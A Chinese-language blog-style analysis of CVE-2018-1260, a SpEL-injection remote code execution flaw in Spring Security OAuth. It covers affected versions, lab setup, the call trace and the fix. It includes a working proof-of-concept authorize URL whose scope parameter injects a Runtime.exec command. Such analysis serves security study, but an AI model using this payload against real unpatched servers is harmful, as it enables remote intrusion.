关于CVE-2018-1260
一个标准的由于spring将不可信数据当作SPEL表达式直接解析导致的RCE漏洞
影响范围
Spring Security OAuth 2.3 to 2.3.2
Spring Security OAuth 2.2 to 2.2.1
Spring Security OAuth 2.1 to 2.1.1
Spring Security OAuth 2.0 to 2.0.14
Older unsupported versions are also affected
利用条件
Act in the role of an Authorization Server (e.g. @EnableAuthorizationServer)
只作为授权服务器时(如使用了@EnableAuthorizationServer注解)
Use the default Approval Endpoint
使用了默认审核终端或在重写的审核终端逻辑中使用SpelExpressionParser等对输出内容进行SPEL表达式解析
未配置Scopes或Scopes范围为NULL(逃过validateScope方法的限制)
POC
漏洞分析
漏洞触发的方式是恶意用户向授权服务发起授权请求,当转发至授权终端时(Approval Endpoint),带有payloads数据经过层层传递,被spel表达式解释执行最终造成rce
搭建环境
最想哭的就是由于各种限制,我花费了好大劲才搭建好环境
我这里使用的是IntelliJ IDEA
1.下载网上现成的源码例子
https://github.com/wanghongfei/spring-security-oauth2-example.git
2.按照说明搭建好数据库, 导入数据。(这步需要正确配置application.properties,否则spring boot应用启动报错)
3.修改cn.com.sina.alan.oauth.config.OAuthSecurityConfig文件中的68行的configure方法
public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
clients.withClientDetails(clientDetails());
clients.inMemory()
.withClient("client")
.secret("secret")
.authorizedGrantTypes("authorization_code")
.scopes(); //scopes参数为空,我们在利用时,需要scopes为空这个属性绕过其中一个关键的验证方法
}
4.intelliJ IDEA 运行 AlanOAuthApplication
函数调用过程
当我们访问`http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.github.com/chybeta&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.exe%22%29%7D`时,
会进入到org.springframework.security.oauth2.provider.endpoind.AuthorizationEndpoint.java文件的authorize方法
跟踪进入到org.springframework.security.oauth2.provider.request.DefaultOAuth2RequestValidator:validateScope()方法中
跟踪进入到ValidateScope中
private void validateScope(Set<String> requestScopes, Set<String> clientScopes) {
if (clientScopes != null && !clientScopes.isEmpty()) { //此处会对clientScopes进行检查,如果不为空,就会进行后面的白名单检查,因为我们此前在OAuthSecurityConfig.java文件的configure方法中奖clientScopes设置为空,因此这里会跳过判断<br /> for (String scope : requestScopes) {<br /> if (!clientScopes.contains(scope)) {<br /> throw new InvalidScopeException("Invalid scope: " + scope, clientScopes);<br /> }<br /> }<br /> }
if (requestScopes.isEmpty()) {<br /> throw new InvalidScopeException("Empty scope (either the client or the user is not allowed the requested scopes)");<br /> }<br /> }
继续跟踪,进入到getUserApprovalPageResponse()方法<br /> 这时候用户获得授权,会转到视图 forward:/oauth/confirm_access 进行渲染
@RequestMapping("/oauth/confirm_access")<br /> public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception {<br /> String template = createTemplate(model, request);<br /> if (request.getAttribute("_csrf") != null) {<br /> model.put("_csrf", request.getAttribute("_csrf"));<br /> }<br /> return new ModelAndView(new SpelView(template), model);<br /> }
这个时候我们可以看到应用程序通过createTemplate方法创建了template,<br />并且将template传入SpelView进行了解析<br /> 到此,分析结束
缓解方式
修复方法中直接删除了SpeLview,改成了其他的页面渲染方式,同时还对createScopes()的方法也进行了修改,导致无法通过spel表达式执行rce了。
参考
https://chybeta.github.io/2018/05/12/RCE-with-spring-security-oauth2-%E5%88%86%E6%9E%90-%E3%80%90CVE-2018-1260%E3%80%91/
https://blog.spoock.com/2018/05/13/cve-2018-1260/
https://blog.csdn.net/u013224189/article/details/80856054